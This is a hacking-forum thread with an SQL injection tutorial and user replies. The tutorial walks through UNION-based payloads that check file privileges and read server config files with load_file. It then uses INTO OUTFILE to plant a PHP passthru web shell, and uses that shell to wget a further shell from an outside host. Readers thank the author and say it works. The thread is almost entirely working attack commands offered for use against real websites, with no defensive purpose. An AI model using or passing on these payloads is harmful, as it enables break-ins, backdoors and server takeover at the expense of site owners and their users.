[LevelUp]

Alright, so this tutorial assumes that you've found an SQLi vulnerable site and have managed to get to the stage of finding the vulnerable columns.

Let's grab the current username

Code

UNION SELECT null,null,null,user(),null --

So it's time to check our privileges, feel free to null the columns if you wish. Replace one of the vulnerable columns with file_priv and replace 'username' with the hex of whatever was returned by user() in our last step

Code

UNION SELECT null,null,null,file_priv,null from mysql.user where user = 0x757365726e616d65 --

If returned Y then it means we have root privileges. Let's have a quick test of load_file /w INTO OUTFILE using the mysql data directory. Grab the directory via @@datadir

Code

UNION SELECT null,null,null,@@datadir,null --

Code

UNION SELECT null,null,null,'my name is tim',null INTO OUTFILE '/path/returned/by/datadir/tim.txt'--

Code

UNION SELECT null,null,null,load_file('/path/returned/by/datadir/tim.txt'),null --

"my name is tim" should now be shown on the page, note that you made need to use hex() around load_file().

Now you'll need to grab an FPD rather than the mysql data dir if you want to get a shell up. You can attempt to get it via javascript injection /w null cookie

Code

javascript:void(document.cookie="PHPSESSID=");

or arrays

Code

/article.php?id[]=5

etc.

If you couldn't get that, then read this part, if you managed then skip ahead.

So you didn't get an FPD, you may be able to pull of this method.
Check the value returned by version() or @@version. Let's say it returned

Code

5.1.66-0+squeeze1-log

So it's running Debian, feel free to use load_file in conjuction to the default apache config file for deb

Code

UNION SELECT null,null,null,load_file('/etc/apache2/apache2.conf'),null --

Look for a document root defined by #, if it's not there, don't panic as we can look in the vhost config for the default document root.

Code

UNION SELECT null,null,null,load_file('/etc/apache2/sites-available/default'),null --

And you should now have the full path.

All that's left is our shell

Code

UNION SELECT null,null,null,'<?passthru($_GET[\'cmd\']);?>',null INTO OUTFILE '/full/path/bro/shell.php'--

*note: passthru() may be substituted by proc_open, shell_exec etc.

Now navigate to your shell and wget that shizz

Code

http://www.site.come/shell.php?cmd=wget http://www.site.com/shellz/priv8shell.txt -o priv8shell.php

*note: wget may be substituted with curl etc.
*note: group_concat(0x0a,grantee,0x3a,privilege_type,0x3a,is_grantable) from information_schema.user_privileges is best used instead of mysql.user for (>5)
*note: Try bypass filter of <? ?> with MYSQL_CHAR()

[Processor]

Do you need wget installed on windows machines?

[LevelUp]

Do you need wget installed on windows machines?

Yes to use the wget command the target machine must have it installed. Then again if it was a .asp you're most likely going to be dealing with MSSQL or MSAccess rather than MySQL.

[S.a.b.e.r]

The only problem with INTO OUTFILE is that it requires root privs, which is fairly rare. Great tutorial; better than most I've seen on it.

[LevelUp]

The only problem with INTO OUTFILE is that it requires root privs, which is fairly rare. Great tutorial; better than most I've seen on it.

I did mention at the top that we have to check for root privileges.

So it's time to check our privileges, feel free to null the columns if you wish. Replace one of the vulnerable columns with file_priv and replace 'username' with the hex of whatever was returned by user() in our last step

Code

UNION SELECT null,null,null,file_priv,null from mysql.user where user = 0x757365726e616d65 --

If returned Y then it means we have root privileges.

[S.a.b.e.r]

I did mention at the top that we have to check for root privileges.

Not saying you didn't; just reiterating that this method would be much more effective if that wasn't the case.

[LevelUp]

Not saying you didn't; just reiterating that this method would be much more effective if that wasn't the case.

Indeed, read and write privileges can be a whore.

[Mimix]

Love this tutorial, and simple writing! no thread gfx shit haha

[cyber uryuu]

thanks for sharing this nice tutorial

[soeasy]

Grab the directory via @@datadir

UNION SELECT null,null,null,'my name is tim',null INTO OUTFILE '/path/returned/by/datadir/tim.txt'--

What's the point of finding the path of Mysql data directory.It's totally useless

[LevelUp]

What's the point of finding the path of Mysql data directory.It's totally useless

Are you not reading? It's to test if load_file is useable.

file_priv won't always return a value.

[Neca]

Great tutorial, thanks for posting it.

[xxlabellexx]

Bookmarked for later use! <3 :D Is there any way to save this thread on my account here?

[grifmajster]

Thanks, works pretty nice. I can't rep you, but I would. Thanks!

[adnanalimk]

very nice tutorial bro.. Thanks.... keep it up